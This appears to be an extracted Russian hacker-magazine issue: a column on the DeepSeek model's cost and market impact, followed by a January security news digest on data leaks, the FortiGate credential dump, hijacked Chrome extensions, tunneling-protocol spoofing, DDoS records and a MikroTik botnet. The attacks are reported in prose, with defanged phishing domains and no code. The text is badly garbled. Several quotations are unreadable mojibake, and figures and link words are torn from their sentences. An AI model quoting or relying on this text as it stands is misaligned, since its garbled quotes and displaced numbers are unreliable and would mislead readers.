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У меня уже лежал план очередной колонки,
как  вдруг появилась новая тема, которая
заставила отложить все заметки в  сторону
и  заняться ей. Речь, конечно же,
про новенькую китайскую LLM под названи‐
ем DeepSeek. Давай разберемся, в чем тут,
собственно, новость и  что именно она
для нас изменит.

Событие это  многие СМИ подали, начав с  красочного графика: падение
акций почти всех компаний из  списка S&P 100  вслед за  выходом китайской
модели. Наверняка ведь произошло что‑то значимое, если (дальше  — над‐
рывным голосом) за считаные часы были стерты сотни миллиардов долларов!

Никакой особой драмы тут, конечно же, нет, и  это типичная реакция фон‐
дового рынка: вслед за проседанием акций одного из крупных игроков тянет‐
ся весь сектор. Да и падение это для большинства участников где‑то в пре‐
делах нескольких процентов — сравнимо со среднесуточными колебаниями.

Поэтому переходим сразу к той «крупной компании», а именно к Nvidia. Ее
акции успели лишиться до 17% цены, что очень даже ощутимо. Главный воп‐
рос: при  чем тут вообще Nvidia? Он интереснее, чем кажется на  первый
взгляд, и играет во всей этой истории центральную роль.

Первое же, что узнаёшь, начав читать о фонде High-Flyer, где разработали
DeepSeek, — это то, что ее основатель Лян Вэньфэн успел закупить 10 тысяч
видеокарт Nvidia A100  аккурат до  того, как  США ввели ограничение на  про‐
дажу в  Китай решений такого класса. А  последнюю версию DeepSeek тре‐
нировали уже на  разрешенных Nvidia H800. Что‑то не  очень‑то похоже
на страшный удар для Nvidia, правда?

Что удалось сделать команде Вэньфэня и  не удалось пока никому дру‐
гому — это использовать наискромнейшие по меркам крупных ИИ‑компаний
ресурсы, чтобы обучить языковую модель, сравнимую во  всех тестах
с самыми крутыми аналогами. Создание модели обошлось High-Flyer в 6 мил‐
лионов долларов, тогда как  OpenAI ухлопала на  GPT-4  в  районе  100  мил‐
лионов.

Сравнение DeepSeek-R1 с конкурентами

Как такое возможно? Злые языки поговаривают, что китайская модель просто
передирала вывод ChatGPT и обучалась на нем. Этот метод называется «дис‐
тилляция», и его широко используют для получения новых моделей из сущес‐
твующих. Например, есть множество версий Llama, сделанных таким образом
(только Llama опенсорсная, а вот пользовательское соглашение OpenAI про‐
сит так не делать).

С другой стороны, разработчики DeepSeek  подробный
отчет, где рассказывают о  своих методах балансировки нагрузки и  более
эффективной тренировки модели частями. Что в целом не исключает и «спи‐
сывания домашки» у OpenAI, но дело явно не в этом. Если бы в OpenAI знали
более эффективный метод тренировки, то использовали бы его сами.

опубликовали

Впечатляет, что и  сама модель тоже в  результате получилась более
эффективной. Токены ее API обходятся примерно в 30 раз дешевле токенов
OpenAI, то есть экономия просто огромна!

Цена токенов DeepSeek-R1 и ChatGPT o1

И последний мощный удар  — модель распространяется свободно. Можно
скачивать и запускать на своей видеокарте или даже взять одну из 

 и гонять на любом компьютере (я это уже проделал — 14b
неплохо работает на далеко не новом Mac mini с базовым M1).

дистилли‐
рованных версий

Все это  объясняет, чем могут быть недовольны инвесторы OpenAI, и  уж
тем более дает повод для  волнения сотрудникам Meta и  Anthropic. Модели
топового качества становятся все доступнее и  доступнее. Настолько, что их
уже делают в  прокуренных китайских подвалах (картинка из  сериала «Крем‐
ниевая долина» сама встает перед  глазами). Сохранять лидерство в  таких
условиях будет все сложнее.

Но что же все‑таки взволновало инвесторов Nvidia? Казалось бы, надо
радоваться: модель тренируют на ее видеокартах, а потом используют на ее
же видеокартах. Да, карт теперь нужно меньше, но доступность в  таких слу‐
чаях вовсе не означает, что потребление снизится.

Я могу представить два варианта событий, которые потенциально чем‑то
угрожают росту Nvidia или как минимум пугают трейдеров.

Вариант первый  — «зима близко». До  сих пор мир искусственного
интеллекта жил по еще более суровым законам природы, чем Вестерос. Есть
«лето»  — когда открытия делаются одно за  другим, а  деньги текут рекой  —
и «зима» — когда ничего особенного не происходит и эксперты разбредают‐
ся кто куда в поисках лучшей судьбы. Зимы при этом длятся десятилетиями,
а лето наступает всего на пару лет.

В нашем случае это  бы значило, что современные модели достигли
или  почти достигли максимума своих возможностей. Дальше рост в  этой
области будет обеспечен только новыми применениями или удешевлением.
И так — пока вычислительные ресурсы не удастся вывести на принципиально
другой уровень, например с изобретением новой элементарной базы.

Учитывая, что акции Nvidia и так сильно перегреты, даже небольшая веро‐
ятность такого развития событий будет наносить удар по  их цене. Но  веро‐
ятность именно что небольшая  — пока что нет никаких объективных причин
предвещать скорый выход на технологическое плато. Оптимизация — это не
финал, и вполне можно ждать следующего витка, на котором повысят качес‐
тво.

Любой, кто хоть немного знаком с технологиями, знает, что нужда в вычис‐
лениях  — это  всегда растущий график. Сегодня ресурсы подешевели бла‐
годаря новым чипам или более хитрым алгоритмам, а завтра считать все рав‐
но понадобится вдвое больше. Даже если качество расти больше не  будет,
доступность привлечет новых потребителей. Аппетиты рынка тут практически
бесконечны.

Второй опасный для компании сценарий — это появление на сцене китай‐
ских производителей GPU. Вот это как раз вполне реально и даже, наверное,
неотвратимо: карты китайской компании Moore Threads, основанной бывшим
вице‑президентом Nvidia, уже потихоньку .продаются

Карточка MTT X300 имеет 16 Гбайт GDDR6 и выдает 14,4 TFLOPS

Другая группка выходцев из Nvidia создала Biren Technology, которая в первую
очередь  как раз на рынок ИИ.целится

Эти планы, правда, были и так известны, и напрямую они никак не связаны
с  DeepSeek. Разве что можно немного пофантазировать и  представить,
как  следующее поколение китайских нейросетей будет и  создаваться,
и работать на китайском железе. За DeepSeek последуют новые разработки,
и  тогда уже их могут и  не сделать доступными всему миру. Только вот мир
еще  недостаточно сошел с  ума, чтобы загружать в  китайское облако что‑то
ценное вроде кода разрабатываемых продуктов, тем более, что оно первым
же делом .впечатляюще протекло

В общем, точно пока можно сказать только одно: скучно не  будет. Сам
список участников гонки ИИ еще  не вполне определился, и  нас, как  всегда,
ждет масса интересных вещей. И  даже если современные модели вышли
на плато по качеству ответов, популяризация и новые применения ИИ обес‐
печат нас новостями на годы вперед. Но об этом поговорим уже в другой раз.

mailto:apismenny@gmail.com
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В этом месяце: Дональд Трамп помило вал осно вате ля Silk
Road Рос са Уль брих та, хакеры заяви ли об ата ках на Рос- 
реестр и «Рос телеком», день ги у рос сий ских поль зовате лей
вору ют через NFC, в откры тый дос туп выложи ли учет ные
дан ные 15 тысяч устрой ств FortiGate, обна руже на мас совая
ата ка на рас ширения для Chrome и дру гие инте рес ные
новос ти янва ря.

ТРАМП ПОМИЛОВАЛ
УЛЬБРИХТА
Пре зидент США Дональд Трамп сооб щил, что он «пол ностью и безого вороч- 
но» помило вал Рос са Уль брих та — осно вате ля зак рытого в 2013 году дар- 
кнет-мар кет плей са Silk Road.

«

»

«Òîëü êî ÷òî ÿ ïîç âîíèë ìàòåðè Ðîñ ñà Óèëü ÿìà Óëü áðèõ òà, ÷òî áû ñîîá- 
ùèòü åé, ÷òî â ÷åñòü íåå è ëèáåð òàðè àíñêî ãî äâè æåíèÿ, êîòîðîå òàê
ãîðÿ÷î ìåíÿ ïîä äåðæè âàëî, ÿ ñ óäî âîëü ñòâè åì ïîä ïèñàë ïîë íîå
è áåçîãî âîðî÷ íîå ïîìèëî âàíèå åå ñûíà, Ðîñ ñà. Îòáðî ñû, ðàáîòàâ øèå
íàä åãî îáâè íåíè åì, — ýòî òå æå ñóìàñ øåäøèå, êîòîðûå èñïîëü- 
çîâàëè ãîñàï ïàðàò ïðî òèâ ìåíÿ â ñîâ ðåìåí íîì ìèðå. Åìó äàëè äâà
ïîæèç íåííûõ ñðî êà ïëþñ 40 ëåò. Íåëåïîñòü!» — íàïèñàë Äîíàëüä
Òðàìï â ïðè íàä ëåæàùåé åìó ñîö ñåòè Truth Social.

На пом ним, что в прош лом году во вре мя выс тупле ния на Либер тари анском
наци ональ ном кон грес се в Вашин гто не Трамп , что в слу чае сво его
пере избра ния на пост пре зиден та США он заменит пожиз ненное зак лючение
осно вате ля Silk Road Рос са Уль брих та уже отбы тым сро ком. Таким обра зом,
теперь он выпол нил одно из сво их пред выбор ных обе щаний.

обе щал

При говор Рос су Уль брих ту был  еще в 2015 году. Тог да осно вате- 
ля извес тной тор говой пло щад ки Silk Road при гово рили к пожиз ненно му зак- 
лючению, сум мировав сро ки за тор говлю нар котика ми, хакер скую деятель- 
ность, тор говлю фаль шивыми докумен тами и отмы вание денег. Фак тичес ки
Уль брихт был при гово рен к двум пожиз ненным сро кам плюс еще 40 годам, то
есть к пожиз ненно му зак лючению без воз можнос ти условно-дос рочно го
осво бож дения.

вы несен

Сам сайт Silk Road, появив ший ся в 2011 году, ,
в 2013 году. Инте рес но, что работав шая в дар кне те тор говая пло щад ка счи- 
тает ся одним из пер вых реаль ных при меров исполь зования бит коина.

был зак рыт 12 лет назад

Пос ле арес та и вынесе ния при гово ра Уль брихт стал зна ковой фигурой
для мно гих пред ста вите лей крип тосо общес тва, а так же для мно гих либер- 
тари анцев, которые счи тали, что вынесен ный при говор был пре выше нием
пол номочий влас тей и наруше нием его кон сти туци онных прав.
Еще в 2018 году Либер тари анская пар тия уже при зыва ла Трам па, тог да
занимав шего пост пре зиден та США, помило вать Рос са Уль брих та.

Ад вокат Уль брих та Джо шуа Дра тел (Joshua Dratel) сооб щил, что он «чрез- 
вычай но рад, что нес пра вед ливость была исправ лена». По его сло вам,
помило вание гаран тиру ет, что у Уль брих та «впе реди целая жизнь» и теперь
он смо жет «стать тем про дук тивным челове ком, которым мог быть все эти
годы».

РКН ПОДСЧИТАЛ УТЕЧКИ
Пред ста вите ли Рос комнад зора сооб щили, что за 2024 год ведомс тво зафик сирова ло  слу- 
чаев уте чек баз дан ных, в которых сум марно содер жалось более  записей
о рос сий ских граж данах.

135
710  мил лионов

Как отме тил замес титель руково дите ля Рос комнад зора Милош Ваг нер, самая круп ная утеч- 
ка 2024 года про изош ла еще в фев рале, ког да в сеть попали сра зу  строк
дан ных о рос сиянах.

500  мил лионов

Для срав нения: за 2023 год Рос комнад зор зафик сировал  уте чек пер сональ ных дан ных,
при этом в сеть попали поряд ка  записей о жителях РФ.

168
300 мил лионов

АТАКИ
НА РОСРЕЕСТР
И «РОСТЕЛЕКОМ»
7 янва ря 2025 года в Telegram-канале груп пиров ки Silent Crow появи лось
заяв ление хакеров, которые утвер жда ли, что им уда лось взло мать Рос реестр
и похитить дан ные. В качес тве доказа тель ства зло умыш ленни ки опуб ликова- 
ли ссыл ку на ска чива ние фраг мента яко бы похищен ной БД, содер- 
жащего 81 990 606 строк (44,7 Гбайт).

По информа ции спе циалис тов Data Leakage & Breach Intelligence (DLBI),
хакеры заяви ли, что получи ли дос туп к базе Рос реес тра, общий раз мер
которой сос тавля ет око ло 1 Тбайт (более 2 мил лиар дов строк).

Ис сле дова тели сооб щили, что в опуб ликован ном фраг менте БД содер- 
жатся: ФИО, email-адре са (401 тысяча уни каль ных адре сов), телефо ны
(7,5 мил лиона уни каль ных номеров), адре са, пас порта (серия, номер, кем
и ког да выдан), даты рож дения, СНИЛС, даты и наз вания ком паний. Наибо лее
све жая запись в этом фраг менте датиро вана 10 мар та 2024 года.

Пред ста вите ли Рос реес тра завери ли, что в ведомс тве «про водят ся
допол нитель ные про вер ки информа ции, опуб ликован ной в ряде Telegram-
каналов».

« »
«Ðîñ ðååñòð íå ïîä òâåðæäà åò óòå÷ êó äàí íûõ èç Åäè íîãî ãîñóäàðñ òâåí- 
íîãî ðååñ òðà îáú åêòîâ íåä âèæèìîñ òè (ÅÃÐÍ)», — ïîä ÷åð êíó ëè
ïðè ýòîì â âåäîìñ òâå.

Поз же, 21 янва ря 2025 года, та же хак груп па Silent Crow заяви ла, что получи ла
дос туп к дан ным «Рос телеко ма». Кро ме того, в янва ре груп пиров ка так же взя-
ла на себя ответс твен ность за взлом «Киа Рос сия и СНГ», «Аль фаС тра хова- 
ние-Жизнь» и «Клу ба кли ентов Аль фа-Бан ка».

Зло умыш ленни ки утвер жда ют, что похити ли БД с сай тов company.rt.ru
и zakupki.rostelecom.ru. В качес тве доказа тель ства сво их слов хакеры опуб- 
ликова ли таб лицы зарегис три рован ных поль зовате лей и обра щений через
фор му на сай те. Самая све жая информа ция в этих таб лицах датиру- 
ется 20 сен тября 2024 года.

По дан ным спе циалис тов DLBI, дам пы содер жат 154 тысячи уни каль ных email-
адре сов и 101 тысячу уни каль ных номеров телефо нов.

В «Рос телеко ме» сооб щили СМИ, что утеч ка дей стви тель но мог ла про- 
изой ти из инфраструк туры неко его под рядчи ка.

«

»

«Â îòâåò íà àíî íèì íûå ïîñ òû îá óòå÷ êå äàí íûõ, ïðè ïèñû âàåìîé
èíòåðíåò�ðåñóð ñàì „Ðîñ òåëåêî ìà“, êîì ïàíèÿ ñîîá ùàåò, ÷òî ðàíåå
ôèê ñèðîâà ëà èíöè äåí òû èíôîðìà öèîí íîé áåçîïàñ íîñòè ó îäíî ãî
èç ñâî èõ ïîä ðÿä÷è êîâ, îáñëó æèâàâ øèõ äàí íûå ðåñóð ñû. Íàèáî ëåå
âåðî ÿòíî, ÷òî óòå÷ êà ïðî èçîø ëà èç èíôðàñòðóê òóðû ïîä ðÿä÷è êà. „Ðîñ- 
òåëåêîì“ ïðåä ïðè íÿë ìåðû ïî óñòðà íåíèþ âûÿâ ëåííûõ óãðîç», —
ãîâîðÿò â ïðåññ�ñëóæ áå êîì ïàíèè.

Так же в ком пании отме тили, что упо мяну тые ресур сы company.rt.ru
и zakupki.rostelecom.ru не пред назна чены для обслу жива ния физичес ких лиц
и на них нет пер сональ ных дан ных час тных кли ентов.

В «Рос телеко ме» полага ют, что ата ка не зат ронула дан ные поль зовате лей,
одна ко кли ентам все рав но рекомен довали изме нить пароли и исполь зовать
двух фактор ную аутен тифика цию в целях безопас ности.

От реаги рова ли на заяв ления хакеров и пред ста вите ли Мин цифры.
В Telegram-канале ведомс тва под черки вает ся, что ата ка не зат ронула «Госус- 
луги».

«

»

«Ñåãîä íÿ íà èíôðàñòðóê òóðó ïîä ðÿä÷è êà „Ðîñ òåëåêî ìà“ áûëà ñîâåð- 
øåíà õàêåð ñêàÿ àòà êà. Îíà íèêàê íå çàò ðîíóëà „Ãîñóñ ëóãè“. Âñå äàí- 
íûå ïîð òàëà íàõîäÿò ñÿ ïîä íàäåæ íîé çàùèòîé.

×óâñ òâè òåëü íûå ïåð ñîíàëü íûå äàí íûå ÷àñ òíûõ êëè åíòîâ êîì- 
ïàíèè�ïîä ðÿä÷è êà òàê æå íå óòåê ëè. Óïî ìÿíó òûå â àíî íèì íûõ ñîîá- 
ùåíè ÿõ èíòåðíåò�ðåñóð ñû íå ïðåä íàçíà ÷åíû äëÿ îáñëó æèâà íèÿ êëè- 
åíòîâ — ôèçè÷åñ êèõ ëèö. Íà íèõ íå õðà íÿò ñÿ è íå îáðà áàòû âàþò ñÿ
ïåð ñäàí íûå.

Äëÿ çàùèòû ñèñ òåì „Ðîñ òåëåêî ìà“ èñïîëü çóåò ñÿ ýøå ëîíè ðîâàí íûé
ïîä õîä — íåñ êîëü êî äîïîë íÿþùèõ äðóã äðó ãà ìåð áåçîïàñ íîñòè.
Çà ñèñ òåìû ïîä ðÿä÷è êà íå îòâå ÷àëè ÈÁ�ñïå öèàëèñ òû „Ðîñ òåëåêî ìà“.

Ñåé ÷àñ ìû ñîâ ìåñ òíî ñ „Ðîñ òåëåêî ìîì“ óæå ðàáîòà åì íàä óñè- 
ëåíè åì çàùèòû ýòîé ÷àñ òè èíôðàñòðóê òóðû. Íàõîäèì ñÿ ñ êîë ëåãàìè
íà ñâÿ çè. Âñå íåîá õîäèìûå ìåðû ïðè íÿòû, ïðî âîäèò ñÿ ïîä ðîáíîå
ðàñ ñëå äîâà íèå», — ïèøóò ïðåä ñòà âèòå ëè Ìèí öèôðû.

STACK OVERFLOW УСТУПАЕТ ИИ
Поль зовате ли обра тили вни мание, что новых воп росов на Stack Overow ста новит ся все мень- 
ше. Эту тен денцию свя зыва ют с появ лени ем ChatGPT и дру гих ИИ-инс тру мен тов.

По под сче там иссле дова телей, пос ле запус ка ChatGPT в нояб ре 2022 года количес тво воп- 
росов от поль зовате лей на Stack Overow упа ло на  и про дол жает сни жать ся.76,5%

Так, на момент запус ка ChatGPT в нояб ре 2022 года на плат форме появ лялось  воп- 
роса. К декаб рю 2024 года количес тво воп росов за месяц уже сос тавля ло лишь , то
есть сок ратилось на , или .

108 563
25  566

82 997 76,5%

В пос ледний раз столь малое чис ло воп росов за месяц наб людалось в мае 2009 года, через
десять месяцев пос ле запус ка плат формы.

Ис сле дова тели полага ют, что если падение про дол жится, то Stack Overow может прек ратить
свое сущес тво вание уже через год.

15 ТЫСЯЧ
УСТРОЙСТВ
FORTIGATE
Груп пиров ка Belsen Group опуб ликова ла в дар кне те кон фигура цион ные фай- 
лы, IP-адре са и учет ные дан ные VPN для 15 тысяч устрой ств FortiGate.

Belsen Group была замече на в соци аль ных сетях и на хак форумах сов сем
недав но. Ради саморек ламы груп пиров ка соз дала сайт в дар кне те, где бес- 
плат но опуб ликова ла дамп с информа цией устрой ств FortiGate, теперь сво- 
бод но дос тупный дру гим прес тупни кам.

«
»

«Â íà÷àëå ãîäà, â êà÷åñ òâå ïîçèòèâ íîãî ñòàð òà äëÿ íàñ è ÷òî áû âû
çàïîì íèëè íàç âàíèå íàøåé ãðóï ïû, ìû ñ ãîð äîñòüþ îáú ÿâëÿ åì
î íàøåé ïåð âîé îïå ðàöèè: ïóá ëèêàöèè êîí ôèäåí öèàëü íûõ äàí íûõ
áîëåå 15 òûñÿ÷ öåëåé ïî âñå ìó ìèðó — êàê ïðà âèòåëü ñòâåí íûõ, òàê
è ÷àñ òíûõ. Âñå ýòè óñòðîé ñòâà áûëè âçëî ìàíû, à èõ äàí íûå ïîõèùå- 
íû», — çàÿâè ëè Belsen Group íà õàê ôîðóìå.

Об народо ван ный архив объ емом 1,6 Гбайт вклю чает пап ки, отсорти рован ные
по стра нам. Внут ри каж дой из них находят ся под папки, содер жащие дан ные
для каж дого IP-адре са FortiGate.

По сло вам ИБ-экспер та Кевина Бомон та (Kevin Beaumont), каж дая пап ка
с IP-адре сом содер жит файл conguration.conf (дамп кон фигура ции
FortiGate), а так же файл vpn-passwords.txt, в котором часть паролей записа ны
откры тым тек стом. Кон фигура цион ные фай лы содер жат и кон фиден циаль ные
дан ные, вклю чая при ват ные клю чи и пра вила бран дма уэра.

Бо монт полага ет, что эта утеч ка свя зана с уяз вимостью нулево го дня 
, которая активно экс плу ати рова лась зло умыш ленни ками еще до

выхода пат чей.

CVE-
2022-40684

Соб ранные дан ные, по сло вам иссле дова теля, отно сят ся
к октябрю 2022 года, ког да уяз вимость активно под верга лась ата кам. Почему
дамп ока зал ся в откры том дос тупе толь ко сей час, спус тя более двух лет пос- 
ле этих событий, оста ется неяс ным.

«
»

«ß èçó ÷èë îäíî èç óñòðîé ñòâ â ïîñ òðà äàâ øåé îðãà íèçà öèè, è àðòå ôàê- 
òû íà íåì óêà çûâà ëè íà ýêñ ïëó àòà öèþ CVE-2022-40684. Òàê æå ÿ ñìîã
ïîä òâåð äèòü, ÷òî èìå íà ïîëü çîâàòå ëåé è ïàðîëè èç äàì ïà ñîâ ïàäà þò
ñ äàí íûìè ñ óñòðîé ñòâà», — îáú ÿñíÿ åò Áîìîíò.

На пом ним, что в 2022 году зло умыш ленни ки исполь зовали CVE-2022-40684,
что бы ска чивать кон фигура цион ные фай лы с устрой ств FortiGate и соз давать
новые учет ные записи super_admin с име нем fortigate-tech-support. Как тог да
сооб щали ана лити ки Heise, проб лема зат рагива ла устрой ства с вер сиями
FortiOS 7.0.0–7.0.6 и 7.2.0–7.2.2. При этом в FortiOS 7.2.2 проб лема CVE-
2022-40684 уже была исправ лена, так что не сов сем понят но, почему пос тра- 
дали устрой ства, работав шие на этой вер сии.

Хо тя утеч ка про изош ла еще в 2022 году, Бомонт пре дуп режда ет, что опуб- 
ликован ные дан ные по-преж нему могут содер жать кри тичес ки важ ную
информа цию, вклю чая пра вила бран дма уэра и учет ные дан ные.

ИЛОН МАСК ПРО ОБУЧЕНИЕ ИИ
Об щаясь на стри ме с пред седате лем совета дирек торов ком пании Stagwell, Илон Маск заявил,
что реаль ных дан ных для обу чения ИИ-моделей уже прак тичес ки не оста лось.

Ра нее об этой проб леме говорил и быв ший глав ный науч ный сот рудник OpenAI Илья Суц- 
кевер. По его сло вам, индус трия дос тигла «пика дан ных» и из-за нех ватки обу чающих дан ных
в будущем при дет ся отка зывать ся от нынеш него спо соба соз дания моделей.

→ «К нас тояще му момен ту мы исчерпа ли всю совокуп ность челове чес ких зна- 
ний, при год ных для обу чения ИИ. Это про изош ло еще в прош лом году. Единс- 
твен ный спо соб допол нить нас тоящие дан ные — это син тетичес кие дан ные,
которые ИИ соз дает сам. С син тетичес кими дан ными ИИ как бы будет оце нивать
сам себя и через это само обу чать ся», — сооб щил Маск.

Продолжение статьи →
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ВЗЛОМ
РАСШИРЕНИЙ
CHROME
В конце декабря 2024 года мы  о том, что Chrome-расширение
швейцарского ИБ‑стартапа Cyberhaven и  как минимум четыре других рас‐
ширения пострадали от  атак неизвестных хакеров. Тогда специалисты
Cyberhaven писали, что злоумышленники могли похитить конфиденциальные
данные пользователей, включая файлы cookie и чужие сессии.

рассказывали

Как стало известно теперь, масштабы атаки были немного шире. По пос‐
ледним данным, от  аналогичных взломов пострадали разработчики
не менее 36 расширений, которыми пользуются свыше 2 600 000 человек.

Судя по  сообщениям пострадавших разработчиков, вредоносная кам‐
пания началась  5  декабря  2024  года. Однако исследователи пришли
к  выводу, что управляющие домены злоумышленников существовали еще  в
марте 2024 года.

Выяснилось, что атаки на разработчиков начинались с фишинговых писем,
в  которых злоумышленники использовали такие домены,
как supportchromestore(.)com, forextensions(.)com и chromeforextension(.)com.

Письма были оформлены как  послания от  Google, и  в них утверждалось,
что расширение нарушает правила Chrome Web Store и  вскоре может быть
удалено из  магазина. Разработчиков убеждали в  том, что описание их про‐
дуктов содержит недостоверную информацию и  теперь они должны сог‐
ласиться с политикой Chrome Web Store.

Если разработчик нажимал на  встроенную в  письмо кнопку Go To  Policy,
пытаясь понять, какие правила нарушил, он попадал на легитимную страницу
входа в систему на домене Google для вредоносного OAuth-приложения. Эта
страница является частью стандартного процесса авторизации Google
и  предназначена для  предоставления сторонним приложениям разрешений
на доступ к определенным ресурсам аккаунта.

Злоумышленники разместили на платформе вредоносное OAuth-приложе‐
ние под названием Privacy Policy Extension, которое просило жертву предос‐
тавить разрешение на управление расширениями в Chrome Web Store через
ее учетную запись.

Многофакторная аутентификация (МФА) не  помогла защитить учетные
записи, поскольку в таком случае прямое одобрение не требуется, а исполь‐
зование OAuth предполагает, что человек полностью понимает объем пре‐
доставляемых им разрешений и возможные последствия.

«

»

«Наш сотрудник следовал стандартному процессу и  по неосторож-
ности авторизировал вредоносное стороннее приложение,  — пояс-
няется в  отчете об  атаке, опубликованном компанией Cyberhaven. —
У  сотрудника была включена функция Google Advanced Protection
и МФА, охватывающая его учетную запись. Но сотрудник не получал
запросов МФА. Учетные данные сотрудника в Google не  были ском-
прометированы».

После получения доступа к аккаунту разработчика злоумышленники модифи‐
цировали расширение, внедряя два вредоносных файла (worker.js
и  content.js), которые содержали код для  кражи данных аккаунтов Facebook
(принадлежит компании Meta, деятельность которой признана экстремист‐
ской и  запрещена на  территории РФ). Затем взломанное расширение пуб‐
ликовалось в Chrome Web Store под видом новой версии.

По данным Extension Total, жертвами таких атак стали  36  расширений,
однако индикаторы компрометации указывают, что от атак могло пострадать
больше разработчиков.

Сообщается, что внедренный в расширения вредоносный код стремился
получить Facebook ID пользователя расширения, токен доступа, информацию
об  аккаунте, информацию о  рекламном аккаунте и  бизнес‑аккаунтах. Также
вредоносный код добавлял листенер для событий, связанных с кликом мыши,
специально для  Facebook и  искал изображения QR-кодов, связанных
с механизмами двухфакторной аутентификации или CAPTCHA. Вся похищен‐
ная таким образом информация в итоге передавалась на управляющий сер‐
вер хакеров.

ДАННЫЕ В ДАРКНЕТЕ ДЕШЕВЕЮТ
Участившиеся случаи утечек БД российских компаний привели к снижению их стоимости в дар‐
кнете. Хотя в 2024 году количество оригинальных БД на хакерских форумах превысило показа‐
тели прошлого года, более  из них распространялись бесплатно.60%

Основатель сервиса DLBI Ашот Оганесян связывает это с деятельностью украинских хакеров,
а вторым фактором называет общий объем утечек, который уже «в несколько раз превышает
население России».

С этой оценкой согласны в департаменте разведки угроз FACCT. По словам экспертов, только
 от  общего объема утекших БД российских компаний выставлены на  продажу,

а «остальные представлены в сети бесплатно».
10–15%

ОПАСНЫЕ ТУННЕЛИ
Новое исследование выявило уязвимости в  популярных протоколах тун‐
нелирования (IPIP, GRE, 4in6, 6in4), которыми пользуются VPN-серверы,
роутеры, магистральные маршрутизаторы и узлы мобильных сетей. Проблема
затрагивает более  4  миллионов хостов, причем  1,8  миллиона из  них можно
использовать для спуфинга.

Эксперты предупредили, что хосты, принимающие туннельные пакеты
без верификации отправителя, могут быть взломаны, использованы для про‐
ведения анонимных атак и получения доступа к сетям.

Исследование было опубликовано компанией Top10VPN и создано в сот‐
рудничестве с профессором и известным ИБ‑исследователем из Левенского
католического университета Мэти Ванхофом (Mathy Vanhoef) и  аспирантом
Ангелосом Бейтисом (Angelos Beitis).

Отметим, что Ванхоф широко известен благодаря своим исследованиям
в  области безопасности Wi-Fi. Так, именно он обнаружил и  описал такие
нашумевшие проблемы, как  , , 
и  .

SSID Confusion Frag Attacks Dragonblood
KRACK

На этот раз специалисты изучили протоколы туннелирования, которые
используются для  передачи данных между различными сетями и  позволяют
передавать данные, которые те могут не поддерживать (например, работать
с IPv6 в IPv4-сети). Для этого они инкапсулируют одни пакеты в другие.

Ученые выявили несколько протоколов туннелирования (включая
IPIP/IP6IP6, GRE/GRE6, 4in6  и  6in4), которые уязвимы перед  злоупотребле‐
ниями, так как не обеспечивают аутентификацию и шифруют трафик без при‐
менения соответствующей защиты (например, с использованием IPsec).

Эксперты объяснили, что некорректно настроенные системы принимают
туннельные пакеты, не проверяя отправителя. Это позволяет злоумышленни‐
кам отправлять на уязвимый хост специально подготовленные пакеты, содер‐
жащие IP-адрес жертвы, тем самым вынуждая хост переслать внутренний
пакет жертве, что открывает атакующим двери для последующих атак.

«
»

«Злоумышленникам достаточно отправить пакет, инкапсулированный
с  использованием одного из  затронутых протоколов с  двумя IP-
заголовками. Внешний заголовок содержит исходный IP-адрес зло-
умышленника, а  в качестве получателя указывается IP-адрес уяз-
вимого хоста. Внутренний заголовок содержит IP-адрес уязвимого
хоста, а не атакующего», — объясняют специалисты.

Таким образом, получив вредоносный пакет, уязвимый хост автоматически
удаляет внешний заголовок и  пересылает внутренний пакет по  назначению.
Учитывая, что IP-адрес во  внутреннем пакете принадлежит уязвимому,
но доверенному хосту, ему удается миновать сетевые фильтры.

Злоумышленники могут использовать эту технику для проведения анонимных
атак, в  том числе используя хосты в  качестве односторонних прокси, про‐
ведения DoS-атак и  спуфинга DNS, а  также для  получения доступа к  внут‐
ренним сетям и IoT-устройствам.

Исследователи просканировали интернет и  обнаружили  4,26  миллиона
уязвимых перед  этими проблемами хостов, включая VPN-серверы, роутеры
(которые провайдеры предоставляют своим абонентам), магистральные мар‐
шрутизаторы, шлюзы и узлы мобильных сетей, а также CDN. При этом отме‐
чается, что более 1,8 миллиона из этих уязвимых хостов могут использовать‐
ся для спуфинга.

Большинство уязвимых хостов было найдено в  Китае, Франции, Японии,
США и Бразилии.

В итоге обнаруженным уязвимостям были присвоены идентификаторы
CVE-2024-7595 (GRE и  GRE6), CVE-2025-23018 (IPv4-in-IPv6  и  IPv6-in-IPv6),
CVE-2025-23019 (IPv6-in-IPv4) и CVE-2024-7596 (Generic UDP Encapsulation).

В качестве защиты специалисты рекомендуют использовать IPsec
или WireGuard для обеспечения аутентификации и шифрования, а также при‐
нимать туннелированные пакеты только от  доверенных источников. Также
рекомендуется на сетевом уровне реализовать фильтрацию трафика на мар‐
шрутизаторах и  промежуточных узлах, использовать DPI и  блокировать все
незашифрованные туннелированные пакеты.

Более глубокие технические подробности проведенного исследования
доступны в  , уже опубликованной Ванхофом и Бейтисом.научной статье

РЕКОРДЫ DDOS
Специалисты Cloudflare рассказали о  крупнейшей на  сегодня DDoS-атаке, мощность которой
доходила до  .5,6 Тбит/с

UDP-атака произошла в  октябре  2024  года и  осуществлялась с  помощью Mirai-ботнета,
в который входят  взломанных устройств.13 тысяч

По данным Cloudflare, атака длилась всего  и  не оказала практически никакого влияния
на компанию‑жертву.

80 с

Гиперобъемные DDoS-атаки стали в целом происходить чаще и в четвертом квартале 2024 года
регулярно превышали .1 Тбит/с

Также на   увеличилось число атак, превышающих  пакетов в  секунду,
а   таких атак и вовсе превысили  пакетов.

175% 100  миллионов
16% 1 миллиард

При этом DDoS-атаки стали более кратковременными, из‑за чего люди не  успевают среаги‐
ровать на них, проанализировать трафик и применить меры защиты. Так, примерно  HTTP-
и   DDoS-атак сетевого уровня (Layer 3 / Layer 4) завершились менее чем за  .
И только  HTTP- и   DDoS-атак длились более часа.

72%
91% 10  мин

22% 2%

БОТНЕТ
ИЗ MIKROTIK’ОВ
Обнаружен ботнет, в который входят 13 тысяч устройств MikroTik. Он эксплу‐
атирует проблемы в настройках DNS-записей, чтобы обходить защиту и дос‐
тавлять малварь, используя спуфинг примерно 20 тысяч доменов.

По информации специалистов компании Infoblox, злоумышленники
используют неправильные настройки DNS SPF (Sender Policy Framework)  —
механизма, который определяет серверы, имеющие право отправлять пись‐
ма от имени домена.

Первые вредоносные рассылки были замечены еще  в конце нояб‐
ря  2024  года. Некоторые вредоносные письма маскировались под  сооб‐
щения от транспортной компании DHL Express, содержали фальшивые инвой‐
сы и ZIP-архивы, внутри которых скрывалась малварь.

Так, в  архиве содержался JavaScript, собиравший и  запускавший
PowerShell-скрипт. Этот скрипт соединялся с  управляющим сервером ата‐
кующих.

«
»

«Проанализировав заголовки спам‑писем, мы нашли множество
